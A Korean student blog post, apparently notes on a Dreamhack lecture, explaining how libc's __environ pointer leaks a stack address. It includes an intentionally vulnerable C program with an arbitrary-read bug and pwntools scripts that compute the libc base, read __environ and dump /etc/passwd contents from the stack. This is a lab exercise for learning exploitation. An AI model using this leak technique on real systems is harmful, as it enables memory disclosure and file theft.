[Dreamhack] Linux Library exploit: 3 - __environ

securitykss·2023년 2월 28일
0

Pwnable 강의(dreamhack)

목록 보기
50/58

https://dreamhack.io/lecture/courses/270 을 토대로 작성한 글입니다.

1. Introduction

프로세스는 환경 변수 정보를 저장하고, 필요할 때마다 불러와 사용한다.

이번엔, 라이브러리 함수에서 참조하는 환경 변수 포인터와 관련된 공격을 실습 해 보자.

일단 환경 변수에 대해 간략한 설명을 보자.

2. 환경 변수

2.1 설명

모든 운영체제에서 사용하는 환경변수(Environment Variable)는 매번 변할 수 있는 동적인 값들의 모임으로, 시스템의 정보를 갖고 있는 변수이다.

이는 사용자가 직접 추가 및 수정하거나 삭제할 수 있는 값이다.

리눅스에서 제공하는 명령어들은 "/bin", "/usr/bin" 등의 디렉터리에 위치한다.

우리가 명령어를 입력하면 환경 변수에 명시된 디렉터리에서 명령어를 탐색하고, 실행하기 때문에 명령어의 경로를 입력하지 않아도 된다.

환경 변수는 터미널 뿐만 아니라 프로그램에서도 참조한다.

프로그램에서도 명령어를 실행해야하는 경우가 종종 있고, 절대 경로를 입력하지 않아도 명령어를 실행할 수 있다.

이 또한 프로세스를 로드하면서 환경 변수를 초기화하기 때문이다.

리눅스 바이너리를 공격할 때 상황에 따라 스택 주소를 알아내야 할 때가 종종 있다.

하지만 기본적으로 리눅스 바이너리는 스택 주소를 포함하지 않기 때문에,

스택 주소를 전역 변수에 저장하는 코드가 있지 않는 한 바이너리 주소 내에서 스택 주소를 찾는 것은 불가능하다.

환경 변수에 대한 정보는 스택 영역에 존재하며,

라이브러리 함수를 실행할 때에도 해당 정보를 참조하기 때문에 환경 변수를 가리키는 포인터가 별도로 선언되어 있다.

따라서, 해당 라이브러리 주소를 알고 있고, 임의의 주소를 읽을 수 있는 취약점이 있다면 스택 주소를 알아낼 수 있다.

2.2 __environ

libs.so.6 파일에서 environ 심볼을 찾는 명령어를 실행한 모습이다.

실행 결과를 보면, __environ이라는 이름의 전역 변수가 존재한다.

이는 시스템 명령어를 실행하기 위한 execve 계열의 함수와 getenv 등 환경 변수와 관련된 함수에서 참조하는 변수이다.

__environ 포인터의 주소를 확인하고, 해당 주소가 가리키는 영역을 확인한 결과이다.

이는 더블 포인터로, 각각의 환경 변수 문자열이 포함된 주소를 갖고 있는 것을 확인할 수 있다.

만약, 라이브러리 주소를 알고 있고, 해당 주소를 읽을 수 있는 취약점이 있다면 스택 주소를 릭하고 공격에 이용할 수 있다.

3. 실습 코드

// Name: environ.c
// Compile: gcc -o environ environ.c

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>

void sig_handle() {
  exit(0);
}

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  signal(SIGALRM, sig_handle);
  alarm(5);
}

void read_file() {
  char file_buf[4096];
  int fd = open("/etc/passwd", O_RDONLY);
  read(fd, file_buf, sizeof(file_buf) - 1);
  close(fd);
}

int main() {

  char buf[1024];
  long addr;
  int idx;
  init();
  read_file();

  printf("stdout: %p\n", stdout);

  while (1) {
    printf("> ");
    scanf("%d", &idx);
    
    switch (idx) {
      case 1:
        printf("Addr: ");

        scanf("%ld", &addr);
        printf("%s", (char *)addr);
        break;

      default:
        break;
    }
  }
  return 0;
}

code description

예제는 "/etc/passwd" 파일의 내용을 읽고 스택 버퍼에 저장한다.

메인 함수에서는 stdout 라이브러리 주소를 출력하고,

반복해서 임의 주소에 있는 값을 읽을 수 있는 취약점이 존재한다.

4. Exploit

4.1 explit design

1. __environ 주소 계산

예제에서 제공한 stdout 라이브러리 포인터를 통해 베이스 주소를 계산하고, __environ 포인터의 주소를 알아낸다.

이는 각 심볼의 주소와 연산하여 쉽게 알아낼 수 있다.

2. 스택 주소 계산

__environ 주소를 알아냈다면, 예제의 임의 주소 읽기 취약점을 통해 스택 주소를 알아내고,

"/etc/passwd" 파일의 내용이 저장된 스택 버퍼의 주소를 계산한다.

해당 주소는 환경 변수와 상대적인 거리가 매번 같으므로, 디버깅을 통해 주소의 간격을 알아낸다.

3. 파일 내용 읽기

파일의 내용을 저장하고 있는 스택 버퍼 주소를 알아냈다면, 임의 주소 읽기 취약점을 통해 스택 버퍼를 출력하여 파일의 내용을 획득한다.

4.2 __environ 주소 계산

stdout 주소를 획득하고, 라이브러리에서 해당 심볼의 주소를 알아낸 뒤 뺄셈을 통해 라이브러리 베이스 주소를 알아낸다.

그 이후 __environ 포인터의 심볼 주소를 더해서 해당 포인터의 주소를 구해야한다.

# Name: environ.py

from pwn import *

p = process("./environ")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']

libc_environ = libc_base + elf.symbols['__environ']

print(hex(libc_base))
print(hex(libc_environ))

p.interactive()

4.3 스택 주소 계산

이제 임의 주소 읽기 취약점을 통해 스택 주소를 구하고, 이를 기반으로 파일의 내용이 저장된 스택 버퍼의 주소를 알아내야 한다.

먼저 read_file 함수에서 파일을 읽는 위치에 breakpoint를 걸고, 실행한다.

read 함수의 인자를 확인하면 파일의 내용을 저장하는 위치는 rcx 레지스터에 저장되므로

해당 주소가 파일의 내용이 저장될 스택 버퍼 주소이다.

이후, __environ 포인터 주소가 앞서 알아낸 스택 버퍼 주소보다 높은 주소에 있으므로,

offset을 구하면 0x1538임을 알 수 있다.

4.4 파일 내용 읽기

offset을 구했으면, __environ 주소에서 두 주소의 간격이 0x1538을 뺀 주소를 임의 주소 읽기 취약점을 통해 출력한다.

# Name: environ.py

from pwn import *

p = process("./environ")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.recvuntil(": ")

stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']

print(hex(libc_base))
print(hex(libc_environ))

p.sendlineafter(">", "1")
p.sendlineafter(":", str(libc_environ))

p.recv(1)

stack_environ = u64(p.recv(6).ljust(8, "\x00")) 
file_content = stack_environ - 0x1538

print("stack_environ: " + hex(stack_environ))

p.sendlineafter(">", "1")
p.sendlineafter(":", str(file_content))

p.interactive()

마치며

라이브러리의 전역 변수인 __environ 포인터의 값을 읽고, 스택 주소를 이용한 공격 기법을 알아봤다.

라이브러리 주소를 알고, 임의 주소를 읽을 수 있을 때, 스택 영역의 주소를 알아낼 수 있었다.

Reference

https://dreamhack.io/lecture/courses/270

profile
보안 공부를 하는 학생입니다.

0개의 댓글